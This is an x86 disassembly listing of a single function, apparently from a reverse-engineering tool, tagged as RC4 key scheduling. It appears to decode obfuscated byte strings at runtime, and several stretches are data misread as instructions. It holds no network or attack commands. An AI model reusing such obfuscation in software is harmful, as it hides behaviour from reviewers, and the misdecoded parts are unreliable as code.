Function at 0x829800
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x864
push ebx
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x463]
mov byte [ebp - 0x464], 0
mov dword [ebp - 0x264], 3
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov ecx, 0xff
cmp eax, 0x234
jne 0x82a145
fld qword [0x882578]
fld qword [0x882578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b1920]
fsub st(1)
fxch st(1)
fmul qword [0x892760]
fadd qword [0x8b1918]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x892f88]
fnstsw ax
test ah, 0x41
jne 0x829887
fld st(0)
fmul qword [0x8b1910]
fsubp st(2)
fadd qword [0x8895f8]
fcom qword [0x8b1908]
fnstsw ax
test ah, 1
jne 0x82984e
fxch st(1)
fst qword [ebp - 0x3c]
fxch st(1)
fstp st(0)
fcomp qword [0x882578]
fnstsw ax
test ah, 1
je 0x829917
push esp
dec edx
pop edi
and eax, 0x4a4d2a5b
pushal
jns 0x829935
jb 0x8298eb
jns 0x829910
jge 0x8298fa
and byte [esi + 0x40], bl
jae 0x829924
xor eax, 0x7e756061
push eax
push 0x4f8c5a8f
xchg edx, eax
push edx
mov word [ebp - 0x76], ds
push edi
xchg ebx, eax
pop esi
lea edx, [edi - 0x6e]
pop esi
cwde
pop ebx
xchg edx, eax
push edi
xchg esi, eax
pop esi
xchg edx, eax
push eax
xchg ebp, eax
push ebx
xchg ecx, eax
pop esi
xchg esi, eax
push eax
xchg esp, eax
push esi
lea edx, [ebx - 0x6f]
push ebx
mov word [edi - 0x68], cs
pop ebp
xchg esi, eax
pop ebp
xchg edi, eax
push ebx
cdq
push edx
xchg edx, eax
pop ebp
mov ss, word [ebx + ecx*4 + 0x57]
xchg ebp, eax
push ebx
invalid
jge 0x8298b2
jmp 0x82c281
mov dword [ebp - 0x30], 0x8298cd
mov dword [ebp - 0x34], 0x8298b0
xor eax, eax
add byte [ebx], dh
ror byte [eax - 0x15ffa7c], 0xff
inc dword [eax + 0x3d]
add byte [ecx], al
add byte [eax], al
mov byte [ebp + eax - 0x160], al
inc eax
cmp eax, 0x100
jb 0x829927
int1
fld qword [ebp - 0x3c]
mov byte [ebp + 8], 0
mov eax, ecx
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x2c], eax
jmp 0x82994c
mov eax, dword [ebp - 0x2c]
mov ebx, 1
mov dword [ebp - 0xc], 0
cmp eax, ebx
jbe 0x829964
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82995c
cmp edi, 3
ja case.default.0x829969
jmp dword [edi*4 + 0x82cd7c]
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
jmp 0x8299e5
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 8
jmp 0x8299e5
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x10
jmp 0x8299e5
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x18
jmp 0x8299e5
mov eax, dword [ebp - 0x34]
and esi, 0xff
mov cl, byte [eax + edi - 4]
mov al, byte [ebp + esi - 0x160]
add cl, al
inc edi
cmp edi, 0x21
mov byte [ebp + 8], cl
jb 0x8299f8
xor edi, edi
add cl, 0x21
mov byte [ebp + 8], cl
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0xc], eax
jbe 0x829a18
mov eax, edx
xor edx, edx
div dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp edx, eax
ja 0x829964
mov ecx, eax
cmp ecx, edx
je 0x829a61
mov al, byte [ebp + edx - 0x160]
mov bl, byte [ebp + ecx - 0x160]
lea edx, [ebp + edx - 0x160]
xor bl, al
mov byte [ebp + ecx - 0x160], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ebp + ecx - 0x160]
mov dl, bl
xor al, dl
mov byte [ebp + ecx - 0x160], al
dec ecx
mov dword [ebp - 0x2c], ecx
jne 0x829949
mov dl, byte [ebp - 0x159]
and esi, 0xff
mov byte [ebp - 0x18], dl
xor edx, edx
mov al, byte [ebp + esi - 0x160]
mov esi, dword [ebp - 0x30]
mov byte [ebp - 0xc], al
xor eax, eax
mov al, byte [esi]
mov dl, byte [esi + 1]
add al, 6
sub dl, 0x4f
shl al, 4
or al, dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov byte [ebp + 0xb], al
mov bl, byte [ebp - 0x15d]
mov cl, byte [ebp - 0x15b]
mov al, byte [ebp + edx - 0x160]
lea esi, [ebp + edx - 0x160]
mov edx, dword [ebp - 0x15f]
mov byte [ebp - 0x28], al
mov eax, edx
and eax, 0xff
fstp st(0)
mov al, byte [ebp + eax - 0x160]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [esi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x14], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0x28]
mov byte [ebx], dl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dword [ebp - 8], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov esi, 1
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [edi]
mov edi, dword [ebp - 8]
mov bl, byte [ebp + ebx - 0x160]
add edx, edi
and edx, 0xff
xor bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 0xb]
mov byte [ebp - 0xc], dl
xor bl, dl
mov edx, dword [ebp - 0x30]
mov byte [ebp - 0x18], bl
lea edi, [edx + 2]
mov dl, byte [edi]
mov bl, byte [edi + 1]
add dl, 6
sub bl, 0x4f
shl dl, 4
or dl, bl
mov dword [ebp - 0x2c], 0xe
mov byte [ebp + 0xb], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x28], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0x28]
mov byte [ebx], dl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dword [ebp - 8], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 8]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp + 0xb]
mov byte [ebp - 0xc], bl
xor dl, bl
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x60], dl
mov edx, dword [ebp - 0x30]
lea edi, [edx + 2]
jmp 0x829cc0
mov edi, dword [ebp - 0x34]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 6
sub dl, 0x4f
mov dword [ebp - 0x34], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp + 0xb], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x28], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0x28]
mov byte [ebx], dl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dword [ebp - 8], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 8]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp + 0xb]
mov byte [ebp - 0xc], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x829dd1
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x2c]
dec edx
mov dword [ebp - 0x2c], edx
jne 0x829cbd
lea ebx, [esi + 1]
cmp ebx, 0x20
jge 0x829f30
mov edx, dword [ebp - 4]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x30]
lea edi, [edx + esi*2]
mov edx, 0x20
sub edx, ebx
mov dword [ebp - 0x2c], edx
jmp 0x829e12
mov edi, dword [ebp - 0x34]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 6
sub dl, 0x4f
mov dword [ebp - 0x34], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp + 0xb], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x28], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0x28]
mov byte [ebx], dl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dword [ebp - 8], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 8]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp + 0xb]
mov byte [ebp - 0xc], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x829f23
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x2c]
dec edx
mov dword [ebp - 0x2c], edx
jne 0x829e0f
mov edi, dword [ebp - 0x30]
inc esi
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 6
sub dl, 0x4f
shl bl, 4
or dl, bl
mov byte [ebp + 0xb], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x28], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0x28]
mov byte [ebx], dl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dword [ebp - 8], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 8]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp + 0xb]
mov byte [ebp - 0xc], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82a04a
mov byte [ebp + esi - 0x61], dl
mov edi, dword [ebp - 0x30]
inc esi
mov dl, byte [edi + esi*2 + 1]
mov bl, byte [edi + esi*2]
mov edi, dword [ebp - 0xc]
add bl, 6
and edi, 0xff
sub dl, 0x4f
shl bl, 4
lea edi, [ebp + edi - 0x160]
or dl, bl
mov bl, byte [edi]
mov byte [ebp - 0x28], bl
mov ebx, dword [ebp - 0x14]
add al, byte [ebx]
mov byte [ebp - 0x1c], al
mov al, byte [ebp - 4]
inc al
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x1c]
and eax, 0xff
mov bl, byte [ebp + eax - 0x160]
lea eax, [ebp + eax - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], eax
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [eax], bl
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and eax, 0xff
lea eax, [ebp + eax - 0x160]
mov dword [ebp - 0x14], eax
mov al, byte [eax]
mov byte [ebx], al
mov ebx, dword [ebp - 0x14]
mov al, byte [ebp - 0x28]
mov byte [ebx], al
mov eax, dword [ebp - 0x28]
and eax, 0xff
add cl, byte [ebp + eax - 0x160]
test esi, esi
mov byte [ebp - 0x24], cl
jbe 0x82a139
mov ecx, dword [ebp - 0x24]
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x160]
add ecx, ebx
mov bl, byte [edi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x160]
mov ecx, dword [ebp - 0x10]
mov cl, byte [ecx]
add ecx, eax
mov al, byte [ebp + ebx - 0x160]
and ecx, 0xff
xor al, byte [ebp + ecx - 0x160]
xor al, dl
mov byte [ebp + esi - 0x61], al
mov byte [ebp - 0x40], 0
lea edi, [ebp - 0x60]
jmp 0x82c281
cmp eax, 0x235
jne 0x82ad5f
fld qword [0x882578]
fld qword [0x882578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b1900]
fsub st(1)
fxch st(1)
fmul qword [0x889648]
fadd qword [0x892630]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b18f8]
fnstsw ax
test ah, 0x41
jne 0x82a195
fld st(0)
fmul qword [0x8b18f0]
fsubp st(2)
fadd qword [0x890d18]
fcom qword [0x8b18e8]
fnstsw ax
test ah, 1
jne 0x82a15c
fxch st(1)
fst qword [ebp - 0x3c]
fxch st(1)
fstp st(0)
fcomp qword [0x882578]
fnstsw ax
test ah, 1
je 0x82a21f
jne 0x82a213
ja 0x82a1f7
sub byte [eax + 0x66], cl
inc edi
push esi
imul ebp, dword ss:[edi], 0x6b483537
and eax, 0x216a4f5c
jp 0x82a244
insd dword es:[edi], dx
daa
outsd dx, dword [esi]
xor byte [ecx + 0x34], dh
imul ebp, dword [0x32762a7a], 0x77
outsd dx, dword cs:[esi]
sub ebp, dword [ebx + 0x30]
je 0x82a213
jbe 0x82a216
je 0x82a21e
jb 0x82a219
js 0x82a221
ja 0x82a227
insd dword es:[edi], dx
xor byte [eax + 0x2b], bh
outsd dx, dword [esi]
sub eax, 0x276d2d78
jno 0x82a235
jne 0x82a22f
insb byte es:[edi], dx
xor esi, dword [edi + 0x34]
jb 0x82a232
jo 0x82a23c
js 0x82a233
outsd dx, dword [esi]
js 0x82a238
imul ebp, dword [eax], 0x74
xor dh, byte [ebp + 0x2f]
jne 0x82a244
insb byte es:[edi], dx
xor byte [ebp + 0x62e9a07d], cl
and byte [eax], al
mov al, byte [0x2062e9]
add bh, al
inc ebp
mov dword [ebp - 0x30], 0x82a1d5
mov dword [ebp - 0x34], 0x82a1be
xor eax, eax
rcl ch, 1
mov eax, dword [0x45c70082]
inc ebp
int3
mov byte [ebp + eax - 0x160], al
inc eax
mov al, byte [0x40fffffe]
invalid
inc dword [eax + 0x3d]
cmp eax, 0x100
add byte [ecx], al
add byte [eax], al
jb 0x82a22f
fld qword [ebp - 0x3c]
mov byte [ebp + 8], 0
xor edi, edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
add byte [ebx], dh
dec dword [ebx + 0x4d890875]
hlt
mov eax, dword [ebp - 0xc]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x2c], 0
jbe 0x82a268
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82a260
cmp edi, 3
ja case.default.0x82a26d
jmp dword [edi*4 + 0x82cd8c]
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
jmp 0x82a2e9
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 8
jmp 0x82a2e9
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x10
jmp 0x82a2e9
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x18
jmp 0x82a2e9
mov ecx, dword [ebp - 0x34]
and esi, 0xff
mov cl, byte [ecx + edi - 4]
mov al, byte [ebp + esi - 0x160]
add cl, al
inc edi
cmp edi, 0x1b
mov byte [ebp + 8], cl
jb 0x82a2fc
xor edi, edi
add cl, 0x1b
mov byte [ebp + 8], cl
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0x2c]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x2c], eax
jbe 0x82a31c
mov eax, edx
xor edx, edx
div dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, edx
jb 0x82a268
je 0x82a354
mov bl, byte [ebp + eax - 0x160]
lea edx, [ebp + edx - 0x160]
lea ecx, [ebp + eax - 0x160]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
jne 0x82a24d
mov edi, dword [ebp - 0x30]
mov dl, byte [ebp - 0x159]
and esi, 0xff
mov byte [ebp - 0x14], dl
mov dl, byte [edi + 1]
mov bl, byte [ebp - 0x15d]
mov al, byte [ebp + esi - 0x160]
sub dl, 0x27
mov byte [ebp - 0x24], al
mov al, byte [edi]
add al, 5
mov cl, byte [ebp - 0x15b]
shl al, 4
or al, dl
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x24]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x160]
lea esi, [ebp + eax - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x15f]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x160]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [esi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x28]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x160]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp - 0x18]
mov byte [ebp - 0x24], dl
xor bl, dl
mov dl, byte [edi + 3]
mov byte [ebp - 0x14], bl
sub dl, 0x27
mov bl, byte [edi + 2]
add edi, 4
add bl, 5
shl bl, 4
or dl, bl
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea esi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 4]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [esi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + esi - 0x160]
and ebx, 0xff
mov esi, 2
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
xor ebx, ebx
mov bl, byte [edi + 1]
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x60], dl
mov dl, byte [edi]
add dl, 5
sub ebx, 0x27
shl dl, 4
or dl, bl
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dword [ebp - 0x2c], 0xd
mov dl, byte [edi]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 4]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x5f], dl
mov edx, dword [ebp - 0x30]
lea edi, [edx + 4]
jmp 0x82a6b4
mov edi, dword [ebp - 0x34]
add edi, 2
xor edx, edx
xor ebx, ebx
mov dword [ebp - 0x34], edi
mov dl, byte [edi]
mov bl, byte [edi + 1]
sub edx, 0x6b
sub ebx, 0x27
shl dl, 4
or dl, bl
inc esi
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 4]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
